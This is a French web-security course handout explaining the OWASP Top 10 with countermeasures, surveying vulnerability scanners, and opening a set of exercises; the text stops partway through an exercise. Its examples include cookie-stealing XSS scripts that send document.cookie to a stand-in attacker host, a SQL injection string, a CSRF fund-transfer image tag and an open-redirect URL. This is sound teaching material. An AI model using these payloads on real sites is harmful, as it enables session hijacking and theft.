Sécurité des Systèmes et Réseaux

Vulnérabilité et
Sécurité des
Applications Web

Version 1

YACINE CHALLAL

20/05/2018
 Table des
matières

I - Vulnérabilité et Sécurité des Applications Web 5

A. OWASP : Open Web Application Security Project.......................................................5

1. A1 Injection.........................................................................................................................................6
2. A2 Violation de Gestion d'Authentification et de Session.................................................................11
3. A3 – Cross-Site Scripting (XSS).........................................................................................................13
4. A4 – Références directes non sécurisées à un objet........................................................................15
5. A5 – Mauvaise configuration de Sécurité..........................................................................................16
6. A6 – Exposition de données sensibles..............................................................................................18
7. A7 – Manque de contrôle d'accès au niveau fonctionnel..................................................................20
8. A8 - Falsification de requête intersite (CSRF)...................................................................................21
9. A9 - Utilisation de composants avec des vulnérabilités connues.....................................................22
10. A10 – Redirections et renvois non validés......................................................................................23

II - Vérification de la sécurité des logiciels 25

A. Web Scanners......................................................................................................... 25
1. Outils Payants...................................................................................................................................25
2. Outils Open Source...........................................................................................................................26

III - Séries d'exercices IV : Vulnérabilités et Sécurité du Web

(OWASP) 29

A. Livre d'Or................................................................................................................ 29

B. www.unsitepirate.dz............................................................................................... 31

C. Diffamation !.......................................................................................................... 31

D. Simulation d'attaques et contre-mesures (DVWA)..................................................33

E. Web Scan et attaque d'un serveur web Apache......................................................33

3
Vulnérabilité et
I-

I
Sécurité des
Applications Web

OWASP : Open Web Application Security Project 5

A. OWASP : Open Web Application Security Project

L'OWASP publie chaque année le Top10 des attaques les plus répandues dans le
Web. Dans ce cours on étudiera ce Top10 des vulnérabilités Web avec des exemples
d'intrusion et des contre-mesures.

Image 1 OWASP Top10 des Risques d'attaques de Sécurité

5
 Vulnérabilité et Sécurité des Applications Web

1. A1 Injection

Défi nition
Une faille d'injection, telle l'injection SQL et OS, se produit quand une donnée non
fiable est envoyée à un interpréteur en tant qu'élément d'une commande ou d'une
requête.
Les données hostiles de l'attaquant peuvent duper l'interpréteur afin de l'amener à
exécuter des commandes fortuites ou accéder à des données non autorisées.

Exemple
Une application utilise des données non fiables dans la construction de l'appel SQL
vulnérable suivant:
String query = "SELECT * FROM accounts WHERE custID='" +
request.getParameter("id") +"'";
l'attaquant modifie le paramètre ‘id' dans son navigateur et envoie: ' or '1'='1. Par
exemple:
http://example.com/app/accountView?id=' or '1'='1
Le sens de la requête est modifié pour retourner toutes les lignes de la table
accounts.
Les pires attaques peuvent altérer des données, voire invoquer des procédures
stockées.

Attention : Analyse de Risques

Image 2 Risque d'Injection

a) Contre-mesures

Conseil : Option 1 : Utilisation de Requêtes Paramétrées

Les requêtes paramétrées forcent le développeur à définir d'abord tout le code SQL,
et ensuite seulement passer chaque paramètre à la requête.
Ce style de codage permet aux SGBD de distinguer le code des données. Une
requête paramétrée garantie qu'un attaquant ne puisse pas changer l'intention
d'une requête, même s'il injecte des commandes SQL.
Par exemple, s'il soumet ‘ or ‘1'=‘1' comme valeur du ID, la requête cherchera dans
la base la valeur litérale du ID: ‘or 1=1'

6
 Vulnérabilité et Sécurité des Applications Web
Voici un exemple d'un code Java vulnérable car utilisant une requête dynamique
sans validation de paramètres :

Image 3 Code Java vulnérable à l'Injection SQL

Voici une version sécuriée utilisant uen requête paramétrée :

Image 4 Code Java Sécurié contre l'Injection SQL

Conseil : Option 2 : Utilisation de procédures stockées

Elles ont le même effet que les requêtes paramétrées. Elles exigent du développeur
de définir le code SQL d'abord, puis passer les paramètres après.
La différence entre une procédure stockée et une requête paramétrée est que la
procédure stockée est définie et stockée dans la base de donnée.
Voici un exemple d'un code Java utilisant une procédure stockée :

Image 5 Code Java utilisant une procédure stockée pour se prémunir contre
l'injection

Conseil : Option 3 : Echappement des entrées Utilisateur

Si l'utilisation de requêtes paramétrées et procédure stockées est difficile à mettre
en œuvre (performance, réécriture de code, etc.), l'ultime rempart serait de faire un
« échappement » de tous les inputs utilisateur avant de les utiliser dans une
requête Chaque SGBD défnit son encodage et caractères d'échappement.
Voici un code Java vulnérable qui interroge un SGBD Oracle :

Image 6 Code Java Vulnérable à l'Injection

Voici une version sécurisée utilisant ESAPI pour échapper les entrées utilisateurs
pour Oracle

7
 Vulnérabilité et Sécurité des Applications Web

Image 7 Code Java sécurisé échappant les entrées utilisateurs, pour interroger
Oracle

Conseil : Option 4 : Minimisation de privilèges

 Pour minimiser le dommage potentiel d'une injection SQL résussie, vous
devez minimiser les privilèges assignés à chaque compte BD dans votre
environnement.
 Ne pas assigner systématiquement les droits d'accès DBA et admin au
compte de votre application. Certes ceci facilite le fonctionnement de votre
application mais il est dangereux.

Conseil : Option 5 : Validation des inputs par liste blanche

 Utilisation de liste noire est inéfficace (un hacker peut facilement utiliser des
mots clés filtrés par liste noire)
 Valider les inputs en exprimant excatement ce qui doit être accepté, par
exemple en utilisant des expressions régulières
Voici un exemple d'un code Java validant la saisie d'un code postale par une
expression régulière :

Image 8 Validation des Inputs par Expression Régulière

2. A2 Violation de Gestion d'Authentification et de

Session

Défi nition : Authentification

L'authentification est le processus de vérification qu'un individu ou entité est ce
qu'il prétend être.
L'authentification est généralement réalisée en soumettant un identifiant et une ou
plusieurs informations privées que seul l'individu devrait connaître (mdp, biométrie,
puce, ...)

Défi nition : Gestion de Session

C'est le processus par lequel un serveur maintien l'état d'une entité avec laquelle il
intéragit.
 Ceci est requis au serveur pour déterminer comment réagir aux requêtes
suivantes au cours d'une transaction.
 Les sessions sont maintenues au niveau du serveur grâce à un identifiant de
session qui peut être transmis dans les deux sens entre client et serveur lors
de la transmission des requêtes.
 Les identifiants de sessions doivent être uniques par utilisateur et très

8
 Vulnérabilité et Sécurité des Applications Web
difficile à prédire.

Image 9 Authentification et Gestion de Session

Attention
Les fonctions applicatives relatives à l'authentification et la gestion de session ne
sont souvent pas mises en œuvreoeuvre correctement
Ceci permet aux attaquants de compromettre les mots de passe, clés, jetons de
session, ou d'exploiter d'autres failles d'implémentation pour s'approprier les
identités d'autres utilisateurs.

Exemple : Scénario 1
Une application expose les identifiants de session dans l'URL:
http://example.com/sale/saleitems;jsessionid= 2P0OC2JSNDLPSKHCJUN2JV?
dest=Hawaii
Un utilisateur authentifié sur le site envoie le lien à ses amis. En cliquant sur le lien,
ils utiliseront sa session et sa carte de crédit.

Exemple : Scénario 2
Les timeouts de l'application ne sont pas définies correctement. Un utilisateur
accède au site via un ordinateur public. Au lieu de faire "déconnexion", l'utilisateur
ferme le navigateur et s'en va. Un attaquant utilise le même navigateur une heure
plus tard, et ce navigateur est encore authentifié.

Exemple : Scénario 3
Un attaquant obtient un accès à la base des mots de passe du système. Les mots
de passe ne sont pas correctement chiffrés, exposant les mots de passe de tous les
utilisateurs à l'attaquant.

Attention : Analyse de Risques

Image 10 Risques liés à la violation d'authentification et gestion de sessions

9
 Vulnérabilité et Sécurité des Applications Web

Conseil : Contre mesures

Satisfaire aux exigences de vérification d'authentification (V2) et de gestion de
session (V3) définies dans le Standard de Vérification de la Sécurité des Applications
(ASVS) :

ASVS.pdf
Document 1 ASVS
Utiliser une API sûre pour gérer l'authentification, comme ESAPI Authenticator

authenticator.zip
Document 2 Authenticator Interface
Implémentation FileBasedAuthenticator

filebasedauthenticator.zip
Document 3 FileBasedAuthenticator

3. A3 – Cross-Site Scripting (XSS)

Défi nition
 Les failles XSS se produisent chaque fois qu'une application accepte des
données non fiables et les envoie à un navigateur web sans validation
appropriée.
 XSS permet à des attaquants d'exécuter du script dans le navigateur de la
victime afin de détourner des sessions utilisateur, défigurer des sites web, ou
rediriger l'utilisateur vers des sites malveillants.

Exemple : XSS Non Persistante (Réflexive)

 Alice visite souvent le site web de Bob. Ce site permet de s'authentifier avec
un login/mdp et stocker des données sensibles comme le num de carte
bancaire.
 Quand un utilisateur s'authentifie il maintient une Cookie d'autorisation, ce
qui permet au serveur de maintenir la session ouverte authentique avec
l'utilisateur.
 Mallory remarque sur le site de Bob qu'en faisant une recherche de
“bonbons” le site réaffiche ce qui a été cherché: “bonbons non trouvés”,
mais si la recherche contient des tags HTML, les tags sont affichés et les
scripts exécutés.
 Mallory remarque qu'en cherchant “bonbons” l'URL générée est
http://bobssite.org?q= bonbons,
 Il fabrique alors l'URL http://bobssite.org?q= bonbons<script
src=mallorysevilsite.com/authstealer.js> et l'envoie à Alice avec un message
Regardes ces bonbons délicieux
 Alice clique sur le lien, ce qui fait une recherche sur le site de Bob et affiche
“Bonbons non trouvés!”, mais entre temps exécute le script malicieux de
Mallory authstealer.js
Le script authstealer.js s'exécute sur le navigateur de Alice, il récupère la
Cookie d'autorisation de Alice et l'envoie à Mallory. Par exemple:
- <script>window.location.href='mailto:[email protected]\?
Subject=Authorization Cookie&body='+document.cookie;</script>
- <script>window.location.href=‘http://hacking.com/cgi-
bin/insertcookie.cgi?cookie=‘+document.cookie </script>
 Mallory introduit la Cookie de Alice dans son navigateur et visite le site de
Bob où il se fait donc passé pour Alice!

10
 Vulnérabilité et Sécurité des Applications Web
 Mallory va dans la section “Facturation” et récupère le numéro de carte
banquaure de Alice, puis il change son mot de passe ce qui empêcha Alice
d'entrer dans son compte.

Exemple : XSS Persistante (Stockée)

 Mallory crée un compte sur le site de Bob.
Il a remarqué que dans la section News, s'il poste un commentaire, ce
dernier est affiché tel qu'il est. S'il contient des tags HTML ceux là sont
appliqués et les scripts exécutés.
 Les commentaires sont persistants !
 Mallory a décidé alors d'insérer le commentaire suivant:
Quels bon Bonbons! <script src=mallorysevilsite.com/authstealer.js>
 Ce script récupère la Cookie d'Autorisation de l'utilisateur actuel et l'envoie à
Mallory.
- <script>window.location.href='mailto:[email protected]\?
Subject=Authorization Cookie&body='+document.cookie;</script>
- <script>window.location.href=‘http://hacking.com/cgi-
bin/insertcookie.cgi?cookie=‘+document.cookie</script>
 Quand Alice charge la page avec ce commentaire, le script de Mallory
s'exécute et vole la Cookie d'Autorization de Alice
 Mallory peut maintenant “hijacker” la session de Alice et usurper son identité

Attention : Analyse de Risques

Image 11 Analyse de Risques de XSS

Conseil : Contre mesures

 Echapper toute donnée non fiable selon le contexte HTML dans lequel elle
sera insérée (corps, attribut, javascript, CSS ou URL, etc.).
 La validation positive des entrées est recommandée mais ne constitue pas
une protection suffisante en raison des différentes manières dont les
applications traitent leur contenu. Une validation complète devra contrôler la
longueur, les caractères, le format et les règles métiers.
 Pour les données complexes, considérez la libraire OWASP's AntiSamy :
- API qui assure que les données fournies par l'utilisateur sont conformes
aux règles des applications
- Elle s'assure que l'utilisateur ne fournit pas du code malicieux dans son
profile, comments etc. et les rendre persistants sur le serveur

4. A4 – Références directes non sécurisées à un objet

11
 Vulnérabilité et Sécurité des Applications Web

Défi nition
Une référence directe à un objet se produit quand un développeur expose une
référence à un objet d'exécution interne, tel un fichier, un dossier, un
enregistrement de base de données ou une clé de base de données.
Sans un contrôle d'accès ou autre protection, les attaquants peuvent manipuler ces
références pour accéder à des données non autorisées.

12
 Vulnérabilité et Sécurité des Applications Web

Exemple
 Une application utilise une valeur non vérifiée dans une requête SQL
accédant à des informations d'un compte :
String query = "SELECT * FROM accts WHERE account = ?";
PreparedStatement pstmt = connection.prepareStatement(query , ... );
pstmt.setString( 1, request.getParameter("acct"));
ResultSet results = pstmt.executeQuery( );
 L'attaquant modifie le paramètre « acct » dans son navigateur afin d'envoyer
le numéro de compte qu'il souhaite.
http://example.com/app/accountInfo?acct=notmyacct
 Si le paramètre n'est pas correctement vérifié, l'attaquant peut accéder à
n'importe quel compte, au lieu d'être limité au sien.

13
 Vulnérabilité et Sécurité des Applications Web

Attention : Analyse de Risques

Image 12 Risques liés à la référence directe à des objets

14
 Vulnérabilité et Sécurité des Applications Web

Conseil : Contre mesures

 Implémenter des références indirectes, par utilisateur ou par session.
- Cela empêche l'attaquant de cibler les ressources interdites.
- Par exemple, au lieu d'utiliser la clé de l'objet en base de données, une
liste déroulante de six objets autorisés pour l'utilisateur pourrait
s'appuyer sur les chiffres 1 à 6 pour indiquer la valeur choisie.
- L'application doit associer la référence indirecte par utilisateur à la valeur
réelle de la clé sur le serveur.
- La librairie ESAPI de l'OWASP propose des méthodes facilitant
l'implémentation des références indirectes.
Contrôler l'accès.
- Chaque sollicitation d'une référence directe par une entité non fiable doit
inclure un contrôle d'accès permettant de s'assurer que l'utilisateur en
question est bien autorisé à accéder à l'objet demandé.

5. A5 – Mauvaise configuration de Sécurité

Défi nition
Une bonne sécurité nécessite de disposer d'une configuration sécurisée définie et
déployée pour l'application, contextes, serveur d'application, serveur web, serveur
de base de données et la plate-forme.
Tous ces paramètres doivent être définis, mis en œuvre et maintenus, car beaucoup
ne sont pas livrés sécurisés par défaut.
Cela implique de tenir tous les logiciels à jour.

Exemple : Scénario #1:

 La console d'administration du serveur d'application est automatiquement
installée et non désactivée.
 Les comptes par défaut ne sont pas modifiés.
 L'attaquant découvre la console , utilise le compte par défaut et prend le
contrôle.

Exemple : Scénario #2:

 Le listage des répertoires est activé.
 L'attaquant le découvre et peut lister les répertoires et trouver les fichiers.
 L'attaquant trouve et télécharge vos classes java compilées qu'il décompile .
 Il identifie une faille de contrôle d'accès.

Exemple : Scénario #3:

 Le serveur d'application est livré avec des exemples d'applications non
supprimés de votre serveur de production.
 Ledit exemple d'application contient des vulnérabilités connues utilisables
par l'attaquant pour compromettre le serveur.

15
 Vulnérabilité et Sécurité des Applications Web

Attention : Analyse de Risques

Image 13 Risques liés à une mauvaise gestion de sécurité

Conseil : Contre-mesures
 Un processus de durcissement reproductible qui permet un déploiement
rapide et facile d'un nouvel environnement correctement verrouillé.
 Un processus d'information et de déploiement de nouvelles versions et de
correctifs dans un temps voulu dans chaque environnement.
 Une architecture solide qui apporte une séparation et sécurité entre les
composants.
 Utiliser les scans et les audits aident à la détection des futures mauvaises
configurations ou absence de correctifs.

6. A6 – Exposition de données sensibles

Défi nition
Beaucoup d'applications web ne protègent pas correctement les données sensibles
telles que les cartes de crédit, identifiants d'impôt et informations
d'authentification.
Les pirates peuvent voler ou modifier ces données faiblement protégées pour
effectuer un vol d'identité, de la fraude à la carte de crédit ou autres crimes.
Les données sensibles méritent une protection supplémentaire tel un chiffrement
statique ou en transit, ainsi que des précautions particulières lors de l'échange avec
le navigateur.

16
 Vulnérabilité et Sécurité des Applications Web

Exemple
Un site public ne requiert pas SSL lors de la navigation dans la section authentifiée.
Un acteur malveillant se connecte à un réseau sans-fil en libre accès et collecte le
trafic d'un utilisateur.
Il récupère le jeton d'une session authentifiée et accède ainsi aux données et
privilèges de l'utilisateur dans l'application.

17
 Vulnérabilité et Sécurité des Applications Web

Attention : Analyse de Risques

Image 14 Risques liés à l'exposition de données sensibles

Conseil : Contre-mesures
 Identifier les menaces contre lesquelles l'on souhaite se protéger (ex.:
menace interne, utilisateurs externes) et s'assurer que les données sensibles
sont chiffrées correctement lors de leur stockage et de leur transport..
 Ne conserver que les données sensibles nécessaires. Les données que l'on
ne possède pas ne peuvent être volées!
 Choisir des algorithmes éprouvés et générer des clés robustes.
- S'assurer qu'une gestion des clés est en place.
- Privilégier des modules cryptographiques certifiés.
 Stocker les mots de passe au moyen d'un algorithme adapté à cet usage, tel
que bcrypt, PBKDF2, or scrypt.
 Désactiver la mise en cache et l'attribut "autocomplete" dans les formulaires
collectant des données sensibles.

7. A7 – Manque de contrôle d'accès au niveau

fonctionnel

Défi nition
Pratiquement toutes les applications web vérifient les droits d'accès au niveau
fonctionnel avant de rendre cette fonctionnalité visible dans l'interface utilisateur.
Cependant, les applications doivent effectuer les mêmes vérifications de contrôle
d'accès sur le serveur lors de l'accès à chaque fonction.
Si les demandes ne sont pas vérifiées, les attaquants seront en mesure de forger
des demandes afin d'accéder à une fonctionnalité non autorisée.

Exemple : Scenario 1
L'attaquant se contente de visiter les URLs ciblées. Les URLs suivantes nécessitent
d'être authentifié et les droits d'administration sont requis pour
“admin_getappInfo”:
http://exemple.com/app/getappInfo
http://exemple.com/app/admin_getappInfo
Une vulnérabilité existe si un utilisateur non authentifié peut accéder à une de ces
pages ou si un utilisateur authentifié mais non privilégié peut accéder à
“admin_getappInfo”.
Dans ce dernier cas, cela peut permettre à l'attaquant d'identifier d'autres
fonctionnalités d'administration non protégées.

18
 Vulnérabilité et Sécurité des Applications Web

Exemple : Scenario 2
Une page utilise un paramètre “action” pour spécifier la fonctionnalité à invoquer, et
les différentes actions requièrent des privilèges différents.
Une vulnérabilité existe si ces privilèges ne sont pas vérifiés.

19
 Vulnérabilité et Sécurité des Applications Web

Attention : Analyse de Risques

Image 15 Risques liés à l'absence de contrôle d'accès au niveau fonctionnel

Conseil : Contre-mesures
Votre application devrait utiliser un module de gestion des autorisations consistant,
facilement analysable et appelé depuis les fonctionnalités métier

8. A8 - Falsification de requête intersite (CSRF)

Défi nition
Une attaque CSRF (Cross Site Request Forgery) force le navigateur d'une victime
authentifiée à envoyer une requête HTTP forgée, comprenant le cookie de session
de la victime ainsi que toute autre information automatiquement inclue, à une
application web vulnérable.
Ceci permet à l'attaquant de forcer le navigateur de la victime à générer des
requêtes dont l'application vulnérable pense qu'elles émanent légitimement de la
victime.

Exemple
 Une application permet à un utilisateur de soumettre une requête de
transfert d'argent, qui ne requiert aucun secret:
http://example.com/app/transferFunds?amount=1500
&destinationAccount=4673243243
 L'attaquant peut donc forger une requête pour transférer de l'argent du
compte de la victime sur son propre compte, et la cacher dans une balise
image, ou dans une balise iframe, stockée sur un site sous son contrôle :
<img src="http://example.com/app/transferFunds?
amount=1500&destinationAccount=attackersAcct#“ width="0"
height="0" />
 Si la victime visite l'un des sites de l'attaquant, alors qu'elle est toujours
authentifiée sur le site example.com, son navigateur inclura les données de
session utilisateur dans la requête forgée et cette dernière aboutira.

20
 Vulnérabilité et Sécurité des Applications Web

Attention : Analyse de Risques

Image 16 Risques liés au CSRF

Conseil : Contre-mesures
 Inclure un jeton unique dans un champ caché. Ce jeton, envoyé dans le
corps de la requête HTTP, et non inséré dans l'URL, sera ainsi
potentiellement moins exposé.
 Le projet CSRF Guard de l'OWASP fournit des bibliothèques pour insérer de
tels jetons dans les applications Java EE, .NET, ou PHP. Et le projet ESAPI de
l'OWASP fournit des interfaces de programmation que les développeurs
peuvent utiliser pour empêcher les attaques CSRF.
 Demander à l'utilisateur de se ré-authentifier ou, vérifier que la demande
n'est pas automatisée (par ex., avec un test CAPTCHA) peut aussi vous
protéger contre ces attaques.

9. A9 - Utilisation de composants avec des

vulnérabilités connues

Défi nition
Les composants vulnérables, tels que bibliothèques, contextes et autres modules
logiciels fonctionnent presque toujours avec des privilèges maximum. Ainsi, si
exploités, ils peuvent causer des pertes de données sérieuses ou une prise de
contrôle du serveur. Les applications utilisant ces composants vulnérables peuvent
compromettre leurs défenses et permettre une série d'attaques et d'impacts
potentiels.

21
 Vulnérabilité et Sécurité des Applications Web

Exemple
Apache CXF Authentification Bypass – En ne fournissant pas de jeton
d'authentification, les attaquants pouvaient faire appel à n'importe quels web
services avec l'ensemble des privilèges.

22
 Vulnérabilité et Sécurité des Applications Web

Attention : Analyse de Risques

Image 17 Risques liés à l'utilisation de composants vulnérables

Conseil : Contre-mesures
 Identifier tous les composants et les versions utilisées, ainsi que les
dépendances
 Surveiller les bases de données publiques, les listes de diffusion des projets
et les listes de diffusion de sécurité afin de s'assurer de la sécurité de ces
composants afin de les maintenir à jour.
 Établir des politiques de sécurité pour l'utilisation des composants, telles que
la mise en place de pratiques de développement sécurisé, le passage avec
succès des recettes sécurité et l'utilisation de composants sous License.
 Si possible, essayer d'ajouter des filtres de sécurités autour des composants
afin de désactiver des fonctionnalités et/ou des parties comprenant des
faiblesses ou des fonctions vulnérables.

10. A10 – Redirections et renvois non validés

Défi nition
 Les applications web réorientent et redirigent fréquemment les utilisateurs
vers d'autres pages et sites internet, et utilisent des données non fiables
pour déterminer les pages de destination.
 Sans validation appropriée, les attaquants peuvent réorienter les victimes
vers des sites de phishing ou de malware, ou utiliser les renvois pour
accéder à des pages non autorisées.

Exemple : Scénario #1
 Une application possède une page “redirect.jsp” disposant d'un seul
paramètre nommé “url”.
 Un attaquant forge une URL permettant de rediriger les utilisateurs vers un
site malveillant (tentative de phishing ou installation de malwares) :
http://www.example.com/redirect.jsp?url=evil.com

23
 Vulnérabilité et Sécurité des Applications Web

Exemple : Scénario #2
 Une application effectue des renvois pour rediriger les utilisateurs sur
certaines pages internes.
 Pour simplifier le renvoi, certaines pages utilisent un paramètre contenant la
page où doit être renvoyer l'utilisateur.
 Dans ce cas, un attaquant crée une URL satisfaisant les contrôles d'accès de
l'application et le redirigeant ensuite vers une fonction d'administration à
laquelle il ne devrait pas avoir accès.
http://www.example.com/boring.jsp?fwd=admin.jsp

Attention : Analyse de Risques

Image 18 Risques Liés à l'Absence de Validation des Renvois

Conseil : Contre-mesures
 Eviter l'utilisation des redirections et des renvois.
 En cas d'utilisation, ne pas utiliser de valeur de destination dans les
paramètres utilisateur. Ceci est généralement réalisable.
 Si une valeur de destination doit être spécifiée, vérifier que la valeur est
valide et autorisée pour l'utilisateur.
 Il est recommandé de ne pas utiliser d'URL dans les paramètres, mais plutôt
une valeur abstraite qui sera traduite côté serveur par une URL cible.

24
Vérification de la
II -

II
sécurité des
logiciels

Web Scanners 25

Un site, c'est des milliers de lignes de code, écrites par un ou plusieurs

développeurs, qui peuvent être experts en sécurité informatique ou pas, mais avant
tout, ce sont des humains qui peuvent tout naturellement faire des erreurs, et ces
erreurs peuvent malheureusement être fatales. En effet, un hacker acharné et
expérimenté pourra l'exploiter tôt ou tard, il faut donc
vérifier tout le code source pour détecter les vulnérabilités. Il existe des outils en
anglais appelés « web application security scanners » qui passent en revue le code
et détecter une grande
partie des failles triviales ou publiquement connues, puis fournissent un rapport
permettant ainsi sa correction.

A. Web Scanners

Voici une sélection des outils les plus répandus sur le marché, basée sur des avis
sur des forums, des témoignages d'experts et des articles descriptifs, avec des
jugements sur les critères les plus importants.

1. Outils Payants
Tinfoil Security
Pour 200$ par mois vous bénéficierez d'un scan externe par semaine pour votre site
(valable uniquement sur 1 site). C'est une solution cloud (SAAS) généralement
utilisée quand le budget est serré et le besoin de vérification n'est pas grand.

Netsparker
Coûte 6000$ par an, détecte les vulnérabilités évidentes mais n'est
malheureusement pas personnalisable. De plus il a beaucoup de faux positifs. C'est
donc une solution à éviter

Appscan
Il s'agit d'un logiciel développé par IBM, il coûte 37.000$ par licence, puis 17.000$
par an. C'est un logiciel complet, il offre des essais de sécurité, des stratégies de

25
 Vérification de la sécurité des logiciels
test, des modèles d'analyse et des conseils sur l'élimination des vulnérabilités mais
aussi des rapports de sécurité détaillés et des tableaux de bord de niveau
entreprise permettent d'avoir une visibilité
des risques et de respecter la conformité.

Acunetix
Détectant, entre autres, bon nombre de failles SQL et XSS et avec très peu de faux
positifs, il a d'excellents résultats. Petit plus, il possède un module à placer côté
serveur, qui indique exactement à quelle ligne de code se trouve la vulnérabilité, et
quelles en sont les causes. Il possède également un scanner de web service, ce qui
n'est pas le cas de la majorité
des outils de scan. La licence consultant s'achète à 4000€, et l'utilisation de l'outil
coûte ensuite 800€ par année. Vu le rapport qualité prix, il est normal de remarquer
que c'est l'outil le plus utilisé dans le domaine.

2. Outils Open Source

FindBugs
Utilisé pour détecter toutes sortes d'attaques mais seulement sur du code Java, il
est le plus utilisé pour la communauté spécialisée en Java et fournit d'assez bons
résultats car mis à jour annuellement. Il est donc recommandé si vous développez
avec du Java.

WordFence Security
C'est un plugin incontournable si vous développez un site avec WordPress, il détecte
toute sortes d'intrusions possibles, de malwares, virus ... donc si vous êtes pressés
et utilisez WordPress, la moindre des choses est d'utiliser ce plugin, sui fournit de
bons résultats même s'il ne détecte pas les portions de code, mais identifie les
composants vulnérables de plus il est facile à exploiter.

Arachni
C'est un framework Ruby gratuit et open source de haute performance, modulaire
et performant, destiné à aider les testeurs de pénétration et les administrateurs à
évaluer la sécurité
des applications Web modernes en utilisant une licence Apache v2. Il est intelligent,
il se forme par apprentissage à partir des réponses HTTP qu'il reçoit au cours du
processus de vérification et est capable d'effectuer une analyse en utilisant un
certain nombre de facteurs afin d'évaluer correctement la fiabilité des résultats et
identifier intelligemment les faux positifs. Initialement commencé comme un
exercice pédagogique, il a depuis évolué vers une structure puissante et modulaire
permettant une évaluation de la vulnérabilité rapide,
précise et flexible. Il permet d'ajouter des plugins afin d'étendre ses fonctionnalités.

Vega
C' est un scanner de sécurité Web gratuit et open source, c'est une plate-forme de
test de sécurité Web pour tester la sécurité des applications Web. Divulgue par
inadvertance des
informations sensibles et d'autres vulnérabilités. Il est écrit en Java, basé sur GUI, et
s'exécute sous Linux, OS X et Windows. Il comprend un scanner automatisé pour
des tests rapides et un proxy d'interception pour l'inspection tactique. Le scanner
Vega détecte les attaques XSS (cross-site scripting), l'injection SQL et d'autres
vulnérabilités. Vega peut être étendu à l'aide d'une puissante API dans la langue du
site : Javascript.

26
 Vérification de la sécurité des logiciels

Complément : Comparaison Arachni vs. Vega

Critère ARACHNI VEGA

Compatibilité des Windows, Linux, Mac OS Windows, Linux, Mac OS

systèmes
d'exploitation

Langages supportés ASP, PHP, ASPX, Java, Web Applications

Python, Ruby

Version et mises à jour Version courante : V1.4-

0.5.10

Taille Au téléchargement 27,3Mo - 40Mo

(Win,Linux, Mac Os) :
54,5Mo, 129Mo, 161Mo

Interface utilisateur Console/WebUI web Interface utilisateur

interface graphique.
Le framework peut être
étendu indéfiniment par
l'ajout de composants tels
que des
extracteurs de chemins,
des modules, des plugins
ou même des interfaces
utilisateur.

Vulnérabilités SQL injection SQL Injection

détectées Injection SQL aveugle par Cross-Site Scripting (XSS)
analyse Inadvertently disclosed
différentielle sensitive
Injection SQL aveugle à information
l'aide d'attaques de Reflected cross-site
synchronisation scripting
NoSQL injection Stored cross-site scripting
Injection Blind NoSQL en Blind SQL injection
utilisant l'analyse
Remote file include
différentielle
Shell injection
CSRF detection
Code injection
Injection d'un code
aveugle à l'aide d'attaques
de synchronisation
LDAP injection
Path traversal
File inclusion
Répartition des réponses
Injection de commande OS
Injection aveugle de
commande OS à l'aide
d'attaques de
synchronisation
Remote file inclusion

27
 Vérification de la sécurité des logiciels

Redirections non validées

Redirections DOM non
validées
XPath injection
XSS
Path XSS
XSS dans les attributs
d'événements d'éléments
HTML
XSS dans les balises HTML
XSS dans le contexte du
script
DOM XSS
DOM XSS script context
Divulgation du code
source
XML External Entity
Vérification de
vulnérabilités
passives :
Cookies non sécurisés
Remplissage automatique
des champs de formulaire
de mot de passe
Politique non sécurisée
entre domaines
Déclaration d'adresse IP
privée
Protection de couche de
transport insuffisante pour
les formulaires de mot de
passe

Support en ligne / Forte Moyenne

communauté

Langue Anglais Anglais

28
Séries d'exercices
III -

III
IV : Vulnérabilités
et Sécurité du
Web (OWASP)

Livre d'Or 29
www.unsitepirate.dz 31
Diffamation ! 31
Simulation d'attaques et contre-mesures (DVWA) 33
Web Scan et attaque d'un serveur web Apache 33

A. Livre d'Or
Un livre d'or permet aux visiteurs d'un site web de poster des messages qui seront
stockés dans une base et réaffichés après chaque connexion sur le site.

Image 19 Livre d'or

Quand un utilisateur clique sur le bouton « Sign Guestbook » le code suivant est
exécuté.

29
 Séries d'exercices IV : Vulnérabilités et Sécurité du Web (OWASP)

Image 20 Script Livre d'Or

Question 1
Expliquer le rôle de l'appel « mysql_real_escape_string($name) » et citer le type
d'attaque contrarié grâce à cet appel.

Question 2
A quel type d'attaque ce code est toujours vulnérable ? Expliquer.

Question 3
Donner un scénario d'attaque exploitant cette vulnérabilité.
Afin de palier cette vulnérabilité, le développeur du site corrige le code avec cette
nouvelle version :

Image 21 New Livre D'or Script

Question 4
Expliquer le rôle de la fonction « str_replace(‘<script>', ‘', $name) »

30
 Séries d'exercices IV : Vulnérabilités et Sécurité du Web (OWASP)
Question 5
Donner un exemple d'attaque sur ce code qui contourne ce contrôle.

Question 6
Donner une version du code qui permet d'éviter ce contournement (vous pouvez ne
pas réécrire tout le code)

B. www.unsitepirate.dz
Soit le site www.unsitepirate.dz, le moyen de vérifier s'il est vulnérable à une
attaque est de demander l'affichage d'une page inexistante comme suit:
http://www.unsitepirate.dz/<B>nimportequoi</B&gt.html
Le site renvoie une page du type:
Erreur : la page nimportequoi.html est introuvable.

Question 1
A quel type d'attaque ce site est-il vulnérable?

Question 2
